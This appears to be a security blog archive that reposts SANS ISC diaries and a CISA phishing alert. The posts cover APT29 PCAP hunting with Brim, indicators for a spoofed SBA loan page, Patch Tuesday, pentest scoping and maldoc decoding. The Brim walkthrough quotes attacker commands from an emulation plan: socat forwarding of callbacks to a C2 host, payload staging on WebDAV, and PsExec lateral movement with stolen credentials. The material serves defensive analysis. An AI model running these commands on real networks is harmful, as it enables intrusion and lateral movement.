Category Archives: Security

To the Brim at the Gates of Mordor Pt. 1, (Wed, Aug 12th)

This post was originally published on this site

Search & Analyze Mordor APT29 PCAPs with Brim

Herein lies an opportunity to explore the dark in the name of light.
“Some believe that it is only great power that can hold evil in check. But that is not what I’ve found. I found it is the small things. Every day deeds by ordinary folk that keeps the darkness at bay.” ~Gandalf
These words ring ever true in the every day fight we face combatting cyber crime and Internet malfeasance. Two offerings come forth to join this fight and converge here to create ample learning opportunities.
Brim offers a new way to browse, store, and archive logs with their free and open source Brim Desktop app, as well as the ZQ command line execution engine and query language.
The Mordor project provides pre-recorded security events generated by simulated adversarial techniques, categorized by platforms, adversary groups, tactics and techniques defined by the MITRE ATT&CK FrameworkEvaluations, and Arsenal. MITRE really is the third protaganist in our epic, we owe them much as defenders of the realm.

As described on their website, Brim is for Wireshark users lost in a sea of packets, or analysts wanting to shed new light on Zeek data.
Per its project site, Mordor’s pre-recorded data represents specific known malicious events as well as related context/events. This is intentional to allow testing creative correlations across diverse data sources to enhance detection and reduce false positives. Mordor comes to you courtesy of two extremely dedicated security practitioners, Roberto Rodriguez @Cyb3rWard0g and Jose Luis Rodriguez @Cyb3rPandaH. The Cyb3rBr0th3rs just dropped a load of knowledge at Defcon’s Blue Team Village, and their GitHub repo has been updated accordingly. You may recall that we’ve enjoyed ourselves to great length courtesy of @Cyb3rWard0g‘s HELK project as covered in 2018’s issues #131 and #132.
Meanwhile, the Brim team is hard at work evolving their offerings beyond their solid desktop client. Per Brim Security‘s Phil Rzewski, zar is a CLI tool that represents their first step in scaling beyond the desktop using “micro-indexes” to help locate chunks of data in a long tail of archived logs. The zar README walks through some operations in a manner written for an audience that nerds out on things like indexing implementations and big data concepts. Sounds about right for us. Meanwhile, their zq CLI offering is getting a boost to read/write logs and archives to/from Amazon S3. We’ll cover zq, zar, zql, and zng extensively in Part 2 of our journey to return the ring to the fires of Mount Doom. By the way, for you metal heads in the audience, I’m raging to Amon Amarth as I write this. Oh, the Middle-earth madness. 😉
The Mordor project includes a robust APT29-emulated dataset with related PCAPs that make perfect fodder for Brim, and it is there we first face the Beornings (sorry, I can’t help myself…APT29 == Cozy Bear == Beorn…nevermind).
Brim is incredibly staightforward to download and install, no need to dally there.
Mordor’s APT29 dataset is broken up into two days of simulation scenarios.
Your first best action is to read up on the APT29 datasets, which gives you the full breakdown on the adversary group, their behaviors, and the applicable ATT&CK evaluation data points. You should also download the Emulation Plan, apt29.xlsx as it provides a bit of play by play for our Brim tests.
A bit about the scenarios. Day 1 and Day 2 are each 10 steps in multiple parts, with details about actions executed, again, in emulation of APT29. The Mordor project execution of each of these scenarios resulted in PCAPs (Day 1Day 2) that we will simply drag and drop right into Brim.
Before we begin, a bit about the systems in play for these simulations:

Attack Platforms
192.168.0.4 Pupy RAT & WebDAV
192.168.0.5 Redirector

Targets
SCRANTON: 10.0.1.4
UTICA: 10.0.1.5
NASHUA: 10.0.1.6
NEWYORK: 10.0.0.4

We’ll note a variety of actions across these hosts. As such, Figure 1 indicates the ease of loading Brim for use.

Load Brim

Figure 1: Brim loading PCAPs

The most important thing to note is that, even thought you’re loading PCAPs, Brim presents the content to you in Zeek (formerly Bro) log file principles. As such, you can expect the likes of conn, weird, http, dns, kerberos, smb_files, and others. Figure 2 is the result of a generic wildcard query of the Day 2 SCRANTON PCAP, as an example.

Generic view

Figure 2: Generic Brim view

Search syntax with Brim is very SQL-like, zql to be specific. Very simple queries often yield immediate results as well.
Consider the APT29 Day 1 Red Team setup where 192.168.0.5 is set up as redirector with a variety of socat listeners:

sudo socat TCP-LISTEN:443,fork TCP:192.168.0.4:443 & sudo socat TCP-LISTEN:1234,fork TCP:192.168.0.4:1234 & 
sudo socat TCP-LISTEN:8443,fork TCP:192.168.0.4:8443 &

These port forwarding commands are run on the redirector (192.168.0.5) in order to forward any callbacks over ports 443, 1234, and 8443 to the attacker platform (192.168.0.4). As part of Step 1.A a maldoc is executed on the first victim which then sends a reverse shell to the Pupy C2 server. We see that connection via the Day 1 SCRANTON PCAP with a search as simple as 1234, as seen in Figure 3.

Simple query

Figure 3: Simple query result

SCRANTON (10.0.1.4) is seen connecting back to the redirector (192.168.0.5) as described.
Given that SCRANTON is clearly victimized now, what other evidence can we establish? APT29 and their ilk are likely to move compressed files about. Per the Day 1 steps, compressed files figure heavily in the day’s activity. Again, using the SCRANTON PCAP, let’s see what files AND compressed yields. Figure 4 yields the result.

Compressed files

Figure 4: A search for compressed files in transit

We see that SCRANTON (10.0.1.4) pushed a compressed file back to the Pupy attack platform (192.168.0.4). This behaviors are in keeping with ATT&CK Evaluations, per the APT29.xlsx spreadsheet, as follows:
The attacker then collects files (T1005), which are compressed (T1002) and encrypted (T1022), before being exfiltrated to an attacker-controlled WebDAV share (T1048). Note that, per the description of the attack platform (192.168.0.4) a WebDAV share has been enabled. Exploring that thread a bit more, we discover more in the SCRANTON PCAP. webdav | count() by uri | sort -r count returns ample evidence of the WebDAV share in use on Day 1, as seen in Figure 5.

WebDAV share

Figure 5: WebDAV share in use

We note that in the emulation plan for Day 1, under Step 8.A – Lateral Movement, the arsenal includes: 

[user@attacker]# cp attack-evals/apt29/day1/payloads/python.exe /var/www/webdav/ [user@attacker]# cd /var/www/webdav
[user@attacker]# chown -R www-data:www-data python.exe

We clearly see that in play per Figure 5.
The use of python.exe seems like an interesting pivot point for an analyst/hunter/responder to make a turn on. Given that lateral movement is inherent in these scenarios, particulaly where APT29 is concerned, we know that NASHUA (10.0.1.6) is the other Day 1 victim. Given evidence of python.exe in Figure 5, let’s see what transactions may have occured between SCRATON and NASHUA indicating lateral movement, using Mordor’s NASHUA PCAP. Using a combination of glob wildcards and the pattern matching operator =~ we can hone a pretty specific query based on existing indicators.
id.orig_h=10.0.1.4 AND id.resp_h=10.0.1.6 AND _path=smb_files AND name=~*python*
Figure 6 reveals behavior consistent with the scenarios and APT29 behavior.

Payload

Figure 6: Remote payload execution

This result matches perfectly with the ATT&CK Scenario, specifically Step 8.C – Lateral Movement:
.PsExec64.exe -accepteula <victim 2 IP> -u "domainNameusername" -p P@ssw0rd -i <session ID from 8A> "C:WindowsTemppython.exe"

Pulling the query back out a bit, id.orig_h=10.0.1.4 AND id.resp_h=10.0.1.6 AND _path=smb_files reveals other related mayhem as seen in Figure 7.

File actions

Figure 7: Additional file actions

Indeed, further file opens and deletes via psexec are noted here. Per the handy APT29 spreadsheet this all follows suit with lateral movement via Windows admin shares, service execution, and the use of valid accounts. More specifically, the “new payload is executed on the secondary victim via the PSExec utility (T1077, T1035) using the previously stolen credentials (T1078).” Man, I love the MITRE ATT&CK Attack Aresenal.
Finally, in case you had any doubt that PSEXEC was in use here, Brim offers direct-to-Wireshark functionality in case you’d like to inspect the related capture(s) more closely. Double click on the log entry of interest, this will spawn an Brim Log Detail window. In the upper right corner of this new window, click ye olde blue shark fin and off you go to Wireshark. I opted for the basic Follow TCP Stream and dumped the SysInternal EULA, so I think we’re in the right place. 😉

Wireshark

Figure 8: Additional file actions

You can also call Wireshark as such from the main tab view in the Brim GUI. We’ll pause our journey here, and resume with Day 2 of the APT29 scenarios, spending more time with zq, zar, zql, and zng from Brim, in Part 2 of this adventure.
Meanwhile, download Mordor, download Brim, and familiarize yourself with all the related MITRE resources. Brim is a strong project in progress, and the Cyb3rBr0th3rs are guaranteed to keep adding content to the Mordor project as just seen with their new Blue Team Village content post-Def Con. Can’t wait to see more.
These project developers and operators are all interested in your feedback or suggestions, engage readily via social media, and want only your success in your battles against evil. Reach out to them as needed, and be sure to shoot any questions you may have my way as well. Always there for you via russ @ holisticinfosec dot io or @holisticinfosec.
Namárië.

Cheers…until next time.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AA20-225A: Malicious Cyber Actor Spoofing COVID-19 Loan Relief Webpage via Phishing Emails

This post was originally published on this site

Original release date: August 12, 2020

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is currently tracking an unknown malicious cyber actor who is spoofing the Small Business Administration (SBA) COVID-19 loan relief webpage via phishing emails. These emails include a malicious link to the spoofed SBA website that the cyber actor is using for malicious re-directs and credential stealing.

For a downloadable copy of IOCs, see STIX file.

Technical Details

CISA analysts observed an unknown malicious cyber actor sending a phishing email to various Federal Civilian Executive Branch and state, local, tribal, and territorial government recipients. The phishing email contains:

  • A subject line, SBA Application – Review and Proceed
  • A sender, marked as disastercustomerservice@sba[.]gov
  • Text in the email body urging the recipient to click on a hyperlink to address:
    hxxps://leanproconsulting[.]com.br/gov/covid19relief/sba.gov
  • The domain resolves to IP address: 162.214.104[.]246

Figure 1 is a screenshot of the webpage arrived at by clicking on the hyperlink.

Figure 1: Webpage arrived at via malicious hyperlink.

Indicators of Compromise

CISA observed the following additional indicators of compromise.
162[.]214[.]104[.]246
152[.]199[.]21[.]175
13[.]86[.]113[.]170
13[.]69[.]66[.]140
52[.]129[.]92[.]13
185[.]60[.]217[.]28   
23.63.253[.]11
192.64.119[.]222
142[.]11[.]196[.]128
admin@columbiadb[.]com
disastercustomerservice@sba-gov-us[.]xyz
leanproconsulting[.]com[.]br
ci-mpsnare[.]iovation[.]com
www[.]leanproconsulting[.]com[.]br
dc[.]services[.]visualstudio[.]com
scontent-ber1-1[.]xx[.]fbcdn[.]net  
isrg.trustid.ocsp[.]identrust[.]com
www.sba-gov-us[.]xyz
hxxp://www[.]leanproconsulting[.]com[.]br/wp-content/uploads/2018/08/Lean-Pro-Consulting_2018v3[.]png
hxxp://www[.]leanproconsulting[.]com[.]br/wp-content/uploads/2018/08/Consultorias_lean[.]gif
hxxp://www[.]leanproconsulting[.]com[.]br/wp-content/uploads/2018/08/Treinamentos_Lean[.]gif
hxxp://www[.]leanproconsulting[.]com[.]br/wp-content/uploads/2018/08/Auditorias_lean[.]gif
1d38c3dcc5f78b571df164d28689029380dec30c
e9ea1de80c556afcb17f3597018901965b0a0d4d5bed9bf8c44ab5831276d624
3fa4912eb43fc304652d7b01f118589259861e2d628fa7c86193e54d5f987670
8abc7daa81c8a20bfd88b6a60ecc9ed1292fbb6cedbd6f872f36512d9a194bba
20082887a470f83d94ff7ff32311f574

For a downloadable copy of IOCs, see STIX file.

Mitigations

CISA recommends using the following best practices to strengthen the security posture of an organization’s systems. System owners and administrators should review any configuration change prior to implementation to avoid unwanted impacts.

  • Include warning banners for all emails external to the organization.
  • Maintain up-to-date antivirus signatures and engines. See Protecting Against Malicious Code.
  • Ensure systems have the latest security updates. See Understanding Patches and Software Updates.
  • Disable file and printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users’ permissions to install and run unwanted software applications. Do not add users to the local administrators’ group unless required.
  • Enforce a strong password policy. See Choosing and Protecting Passwords.
  • Exercise caution when opening email attachments, even if the attachment is expected and the sender appears to be known. See Using Caution with Email Attachments.
  • Enable a personal firewall on agency workstations that is configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious email attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  • Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs).
  • Scan all software downloaded from the internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Sign up to receive CISA’s alerts on security topics and threats.
  • Sign up for CISA’s free vulnerability scanning and testing services to help organizations secure internet-facing systems from weak configuration and known vulnerabilities. Email vulnerability_info@cisa.dhs.gov to sign up. See https://www.cisa.gov/cyber-resource-hub for more information about vulnerability scanning and other CISA cybersecurity assessment services.

Resources

Revisions

  • August 12, 2020: Initial Version

This product is provided subject to this Notification and this Privacy & Use policy.

Microsoft August 2020 Patch Tuesday, (Tue, Aug 11th)

This post was originally published on this site

This month we got patches for 120 vulnerabilities total. According to Microsoft, two of them are being exploited (CVE-2020-1380 and CVE-2020-1464), and one was previously disclosed (CVE-2020-1464).

The previously known and already exploited vulnerability (CVE-2020-1464) is a Windows Spoofing Vulnerability, which may cause incorrect signature validation for files. An attacker could exploit this vulnerability to bypass security features and load improperly signed files.

The other exploited vulnerability (CVE-2020-1380) is a remote code execution (RCE) affecting Internet Explorer. It is related to the way the script engine handles objects in memory. An attacker who exploits this vulnerability could gain the same user privileges on the system.

The highest CVSS score this month (8.80) was associated with three vulnerabilities: CVE-2020-1509, CVE-2020-1585, and CVE-2020-1472. The CVE-2020-1509 is an LSASS Elevation of Privilege Vulnerability. An authenticated attacker could exploit this vulnerability by sending a specially crafted authentication request. The CVE-2020-1585 is a Microsoft Windows Codecs Library RCE Vulnerability. An attacker could exploit this vulnerability opening a specially crafted image file and take control of the affected system.

The third CVSS 8.80 (CVE-2020-1472) is a Netlogon Elevation of Privilege Vulnerability and is a little bit trickier to patch. An unauthenticated attacker would be required to use the Netlogon Remote Protocol (MS-NRPC) to connect to a domain controller to obtain domain administrator access. Microsoft is addressing this vulnerability in a two-part phase rollout and requires additional steps in addition to applying the updates. The second phase of the update will be available in February 2021. There is a special guideline on how to manage changes required for this vulnerability at https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc

See Renato’s dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework Remote Code Execution Vulnerability
%%cve:2020-1046%% No No Less Likely Less Likely Critical    
ASP.NET Core Denial of Service Vulnerability
%%cve:2020-1597%% No No Less Likely Less Likely Important    
ASP.NET and .NET Elevation of Privilege Vulnerability
%%cve:2020-1476%% No No Less Likely Less Likely Important    
Connected User Experiences and Telemetry Service Elevation of Privilege Vulnerability
%%cve:2020-1511%% No No Less Likely Less Likely Important 7.8 7.0
DirectWrite Information Disclosure Vulnerability
%%cve:2020-1577%% No No Less Likely Less Likely Important 5.5 5.0
DirectX Elevation of Privilege Vulnerability
%%cve:2020-1479%% No No Less Likely Less Likely Important 7.0 6.3
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-1473%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1557%% No No Less Likely Less Likely Important    
%%cve:2020-1558%% No No Less Likely Less Likely Important    
%%cve:2020-1564%% No No Less Likely Less Likely Important    
Local Security Authority Subsystem Service Elevation of Privilege Vulnerability
%%cve:2020-1509%% No No Less Likely Less Likely Important 8.8 7.9
MSHTML Engine Remote Code Execution Vulnerability
%%cve:2020-1567%% No No More Likely More Likely Critical 6.4 5.8
Media Foundation Information Disclosure Vulnerability
%%cve:2020-1487%% No No Less Likely Less Likely Important 5.5 5.0
Media Foundation Memory Corruption Vulnerability
%%cve:2020-1525%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1379%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1477%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1478%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1492%% No No Less Likely Less Likely Critical 7.8 7.0
%%cve:2020-1554%% No No Less Likely Less Likely Critical 8.0 7.6
Microsoft Access Remote Code Execution Vulnerability
%%cve:2020-1582%% No No Less Likely Less Likely Important    
Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability
%%cve:2020-1591%% No No Important    
Microsoft Edge Memory Corruption Vulnerability
%%cve:2020-1569%% No No Important 4.2 3.8
Microsoft Edge PDF Remote Code Execution Vulnerability
%%cve:2020-1568%% No No Critical 4.2 3.8
Microsoft Excel Information Disclosure Vulnerability
%%cve:2020-1497%% No No Less Likely Less Likely Important    
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-1494%% No No Less Likely Less Likely Important    
%%cve:2020-1495%% No No Less Likely Less Likely Important    
%%cve:2020-1496%% No No Less Likely Less Likely Important    
%%cve:2020-1498%% No No Less Likely Less Likely Important    
%%cve:2020-1504%% No No Important    
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2020-1561%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1562%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Office Click-to-Run Elevation of Privilege Vulnerability
%%cve:2020-1581%% No No Less Likely Less Likely Important    
Microsoft Office Remote Code Execution Vulnerability
%%cve:2020-1563%% No No Less Likely Less Likely Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-1573%% No No Less Likely Less Likely Important    
%%cve:2020-1580%% No No Less Likely Less Likely Important    
Microsoft Outlook Information Disclosure Vulnerability
%%cve:2020-1493%% No No Less Likely Less Likely Important    
Microsoft Outlook Memory Corruption Vulnerability
%%cve:2020-1483%% No No Less Likely Less Likely Critical    
Microsoft SQL Server Management Studio Denial of Service Vulnerability
%%cve:2020-1455%% No No Important    
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2020-1505%% No No Less Likely Less Likely Important    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-1499%% No No Less Likely Less Likely Important    
%%cve:2020-1500%% No No Less Likely Less Likely Important    
%%cve:2020-1501%% No No Less Likely Less Likely Important    
Microsoft Windows Codecs Library Remote Code Execution Vulnerability
%%cve:2020-1560%% No No Critical 7.3 6.6
%%cve:2020-1574%% No No Less Likely Less Likely Critical 7.3 6.6
%%cve:2020-1585%% No No Critical 8.8 7.9
Microsoft Word Information Disclosure Vulnerability
%%cve:2020-1502%% No No Less Likely Less Likely Important    
%%cve:2020-1503%% No No Less Likely Less Likely Important    
%%cve:2020-1583%% No No Less Likely Less Likely Important    
Netlogon Elevation of Privilege Vulnerability
%%cve:2020-1472%% No No Less Likely Less Likely Critical 8.8 7.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2020-1380%% No Yes Critical 6.4 5.8
%%cve:2020-1555%% No No Critical    
%%cve:2020-1570%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2020-0604%% No No Less Likely Less Likely Important    
Win32k Information Disclosure Vulnerability
%%cve:2020-1510%% No No Less Likely Less Likely Important 5.5 5.0
Windows ARM Information Disclosure Vulnerability
%%cve:2020-1459%% No No Less Likely Less Likely Important 5.5 5.0
Windows Accounts Control Elevation of Privilege Vulnerability
%%cve:2020-1531%% No No Less Likely Less Likely Important 7.8 7.0
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2020-1587%% No No More Likely More Likely Important 7.8 7.0
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2020-1488%% No No Less Likely Less Likely Important 7.8 7.0
Windows Backup Engine Elevation of Privilege Vulnerability
%%cve:2020-1535%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1536%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1539%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1540%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1541%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1542%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1543%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1544%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1545%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1546%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1547%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1551%% No No Less Likely Less Likely Important 7.8 7.0
Windows Backup Service Elevation of Privilege Vulnerability
%%cve:2020-1534%% No No Less Likely Less Likely Important 7.8 7.0
Windows CDP User Components Elevation of Privilege Vulnerability
%%cve:2020-1549%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1550%% No No Less Likely Less Likely Important 7.8 7.0
Windows CSC Service Elevation of Privilege Vulnerability
%%cve:2020-1489%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1513%% No No Less Likely Less Likely Important 7.8 7.0
Windows Custom Protocol Engine Elevation of Privilege Vulnerability
%%cve:2020-1527%% No No Less Likely Less Likely Important 7.8 7.0
Windows Elevation of Privilege Vulnerability
%%cve:2020-1565%% No No Less Likely Less Likely Important    
Windows File Server Resource Management Service Elevation of Privilege Vulnerability
%%cve:2020-1517%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1518%% No No Less Likely Less Likely Important 7.8 7.0
Windows Font Driver Host Remote Code Execution Vulnerability
%%cve:2020-1520%% No No Less Likely Less Likely Important 7.8 7.0
Windows Function Discovery SSDP Provider Elevation of Privilege Vulnerability
%%cve:2020-1579%% No No Less Likely Less Likely Important 7.8 7.0
Windows GDI Elevation of Privilege Vulnerability
%%cve:2020-1529%% No No More Likely More Likely Important 7.8 7.0
%%cve:2020-1480%% No No More Likely More Likely Important 7.8 7.0
Windows Hard Link Elevation of Privilege Vulnerability
%%cve:2020-1467%% No No Less Likely Less Likely Important 7.8 7.0
Windows Image Acquisition Service Information Disclosure Vulnerability
%%cve:2020-1474%% No No Less Likely Less Likely Important 5.5 5.0
%%cve:2020-1485%% No No Less Likely Less Likely Important 5.0 4.5
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2020-1417%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1486%% No No Less Likely Less Likely Important    
%%cve:2020-1566%% No No More Likely More Likely Important    
Windows Kernel Information Disclosure Vulnerability
%%cve:2020-1578%% No No More Likely More Likely Important 5.5 5.0
Windows Media Remote Code Execution Vulnerability
%%cve:2020-1339%% No No Less Likely Less Likely Critical 7.3 6.6
Windows Network Connection Broker Elevation of Privilege Vulnerability
%%cve:2020-1526%% No No Less Likely Less Likely Important 7.8 7.0
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2020-1337%% No No Less Likely Less Likely Important 7.8 7.0
Windows RRAS Service Information Disclosure Vulnerability
%%cve:2020-1383%% No No Less Likely Less Likely Important 5.5 5.0
Windows Radio Manager API Elevation of Privilege Vulnerability
%%cve:2020-1528%% No No Less Likely Less Likely Important 7.8 7.0
Windows Registry Elevation of Privilege Vulnerability
%%cve:2020-1377%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1378%% No No Less Likely Less Likely Important 7.8 7.0
Windows Remote Access Elevation of Privilege Vulnerability
%%cve:2020-1530%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1537%% No No Less Likely Less Likely Important 7.8 7.0
Windows Remote Desktop Gateway (RD Gateway) Denial of Service Vulnerability
%%cve:2020-1466%% No No Important 7.5 6.7
Windows Runtime Elevation of Privilege Vulnerability
%%cve:2020-1553%% No No Less Likely Less Likely Important 7.8 7.0
Windows Server Resource Management Service Elevation of Privilege Vulnerability
%%cve:2020-1475%% No No Less Likely Less Likely Important 7.0 6.3
Windows Setup Elevation of Privilege Vulnerability
%%cve:2020-1571%% No No Less Likely Less Likely Important 7.8 7.0
Windows Speech Runtime Elevation of Privilege Vulnerability
%%cve:2020-1521%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1522%% No No Less Likely Less Likely Important 7.8 7.0
Windows Speech Shell Components Elevation of Privilege Vulnerability
%%cve:2020-1524%% No No Less Likely Less Likely Important 7.8 7.0
Windows Spoofing Vulnerability
%%cve:2020-1464%% Yes Yes Detected Detected Important 5.3 5.1
Windows State Repository Service Information Disclosure Vulnerability
%%cve:2020-1512%% No No Less Likely Less Likely Important 5.5 5.0
Windows Storage Service Elevation of Privilege Vulnerability
%%cve:2020-1490%% No No Less Likely Less Likely Important 7.0 6.3
Windows Telephony Server Elevation of Privilege Vulnerability
%%cve:2020-1515%% No No Less Likely Less Likely Important 7.8 7.0
Windows UPnP Device Host Elevation of Privilege Vulnerability
%%cve:2020-1519%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1538%% No No Less Likely Less Likely Important 7.8 7.0
Windows WaasMedic Service Information Disclosure Vulnerability
%%cve:2020-1548%% No No Less Likely Less Likely Important 7.8 7.0
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2020-1533%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1556%% No No Less Likely Less Likely Important    
Windows Work Folder Service Elevation of Privilege Vulnerability
%%cve:2020-1552%% No No Less Likely Less Likely Important    
Windows Work Folders Service Elevation of Privilege Vulnerability
%%cve:2020-1470%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1516%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1484%% No No Less Likely Less Likely Important 7.8 7.0
Windows dnsrslvr.dll Elevation of Privilege Vulnerability
%%cve:2020-1584%% No No More Likely More Likely Important 7.8 7.0


Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scoping web application and web service penetration tests, (Mon, Aug 10th)

This post was originally published on this site

Before starting any penetration test, the most important part is to correctly scope it – this will ensure that both the client’s expectations are fulfilled and that enough time is allocated to make sure that the penetration test is correctly performed.

In this diary I will not dive into particular activities that need to be performed as part of a penetration test – for a high-level (hey, it’s management speak) overview please check one of my older diaries at Getting (proper) value out of security assessments

This diary should (I hope) be interesting no matter on which side you are: a client purchasing penetration tests or a penetration tester.

Web applications

Now that we got differences between a vulnerability scan and a penetration test out of our way, let’s talk a bit about penetration testing web applications (and web services). Since the main difference between a vulnerability scan and a penetration test is the human factor, penetration test engagements should normally be scoped according to complexity of the target application. This will directly influence amount of time that needs to be invested into properly verifying a web application.

When I’m scoping web application penetration tests, the following two questions are most important for me:

  1. The total number of pages/screens, as well as the percent (or number) of the total number of web forms (pages) which require user interaction.
    This is probably the most important parameter – when penetration testing a web application what we are interested in are all dynamic parts, generally those that result in an HTTP request, which will allow us to change something.
    This makes sense – if our web server is hosting 10 million images and static HTML web pages there is not much we can do (we’ll still check infrastructure etc).
    However, if our web application consists of hundreds of dynamic web pages/screens then in theory we should check all of them. And remember, we are talking about a penetration test – while we will (and should) use tools, a lot of activity will be inevitably manual, since there is no other way to find logic flaws – tools will not find such vulnerabilities, which are often the most devastating ones.
  2. Number and type of user roles.
    Depending on our application, there could be multiple user roles with various permissions assigned. Again, if possible, every role should be tested – we need to confirm that the application correctly implements “horizontal” security (meaning: I cannot retrieve another user’s data) and “vertical” security (meaning: I cannot escalate my privileges or access something that a higher privileged role should only access).

Both of these factors will directly influence how many hours or man-days we need to spend when penetration testing a web application (or any application really). Of course, we need some realistic expectations set here as well – when we need to assess a huge application, typically we will want to enumerate endpoints since it is quite possible that numerous web pages/screens consume a single endpoint. If that is not the case we will need to identify those components which are priority.

If you are on a client’s side – this should help you assess offers as well: if you receive an offer that does not have enough time budgeted then really you are not getting a penetration test but at best a web application security scan with a little bit of manual work.

This might be OK too – as long as you know what you are getting – but keep in mind that no tool will identify logic flaws. If you want to see a few cool logic flaws check my SANS@MIC Talk “Arcane web and mobile application vulnerabilities” that was recorded at https://www.youtube.com/watch?v=uj5grEtXfh4

Another good thing to check here is what tools are being used to perform such a penetration test. Besides a web application vulnerability scanner, in order to manually modify requests an interception proxy will be needed so it is mandatory for your penetration tester to use a tool such as Burp Suite or OWASP ZAP (and we cover both in SEC542!).

Below you can see me bashing the SANS ISC web site (/me waves to Johannes).

Web services

Testing web services is actually not too different from testing web applications, but the main challenge is in the workflow of how the target web services are consumed.

With web services there will typically be one account that is used (although it’s possible to have different roles, of course), so the main parameter for assessment of required engagement will be the number of endpoints, specifically methods and (if possible) number of parameters per method.

Once we receive this information it will be easier to assess how many hours or man-days need to be invested in testing the target web services. So how do we approach this? 

In the best scenario, the client will provide us with a Swagger file or Postman collection. These files will contain description of all endpoints and parameters they accept so testing will be easier. Besides this, always (and I mean always) ask for documentation about the web service workflows. What do I mean by this: it could be possible that certain endpoints must be consumed in a certain order – if you do not do this, you simply get back errors. Which also means that if you just blindly run a scanner against the list of API’s you really won’t get much (and this is why we are talking about penetration tests here).

Once you have this information the rest is basically very similar to a web application penetration test. What the majority of penetration testers will do is run Postman (which is also a free tool) and configure it to send requests through an interception proxy (Burp Suite or OWASP ZAP as mentioned above). Postman will then be used to “seed” the requests so our interception proxy can see them and we can use the interception proxy now to continue testing the target web service.

The figure below shows Postman configured with the PSD2 collection that contains all requests needed to consume PSD2 web services (if you are in the banking sector you are certainly familiar with PSD2, if not and you want to read more here is a starter).

Notice how all parameters are nicely defined in Postman – all that is needed now is to properly fill them in, send the required requests to our intercepting proxy and we are good to go.

We talk about all of this in SEC542: Web App Penetration Testing and Ethical Hacking and if you found the topic interesting let us know here.
 


Bojan
@bojanz
INFIGO IS

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Small Challenge: A Simple Word Maldoc – Part 2, (Sun, Aug 9th)

This post was originally published on this site

There are many interesting solutions to my “Small Challenge: A Simple Word Maldoc” diary entry: static analysis solutions, dynamic analysis and even a combination of both. You can find them in the comments and on Twitter.

When you look at the code above, I’m sure you will notice the long string of numbers (separated by % characters) and think: this must be the encoded command/url.

Sequences of numbers like these have appeared in malicious documents for many, many years. That’s why I have my own tool to help me with decoding these numbers: numbers-to-string.py.

numbers-to-string.py is a tool that takes text as input, and searches for lines with 3 numbers at least (default). For each such line, it will extract all the numbers, convert them to characters, and output the result. Like this:

The output above doesn’t help us much. numbers-to-string converted each number to its corresponding ASCII character, but it looks like the numbers have also been encoded, because we see many unprintable characters.

If you look at the VBA source code, you might notice an expression with Xor 111. This is a strong indication that the numbers have been xor-encoded, using single-byte key 111.

This can be easily tested with numbers-to-string: my tool also takes a Python expression as argument, to be applied for each number. Python expression “n ^ 111” will perform an Xor operation with value 111 on each number, before converting it to characters.

This does indeed reveal the command:

In an upcoming diary entry, I will show how you can also try to decode the obfuscated command, if you don’t use the VBA source code to guide you (hint: it involves my tool xorsearch).

 

Didier Stevens
